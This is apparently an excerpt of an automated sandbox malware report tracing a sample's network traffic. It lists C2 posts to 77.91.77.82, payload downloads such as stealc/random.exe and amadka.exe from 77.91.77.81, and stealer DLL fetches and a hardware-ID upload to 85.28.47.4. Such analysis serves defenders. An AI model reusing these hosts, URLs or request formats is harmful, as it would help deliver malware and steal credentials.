Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 85.28.47.4 85.28.47.4

Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU
Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 13_2_004ABD30 InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

13_2_004ABD30

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 43 39 36 36 38 33 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"660C966839272029741119------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"default------GHDAAKJEGCFCAKEBKJJE--

Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exepData
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exephprefoxox
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exera
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673b5d7
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeH
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 0000000D.00000002.3230163969.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php%
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php)
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php-
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php0
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php5
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpI
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpU
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpk
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phplF~n
Source: explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpn
Source: explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpsa3b2c9311b.exe
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/20475a59bac849d.php
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dlly
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dlll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dllT
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll$
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dllc
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php)
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php1
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php:9y
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpC9B
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpFl
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpi94
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/a81-46d0-b6b6-535557bcc5fapN9U
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/pl
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4;
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: ukuWaeRgPR.exe, random[1].exe.13.dr, a3b2c9311b.exe.13.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: ukuWaeRgPR.exe, random[1].exe.13.dr, a3b2c9311b.exe.13.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
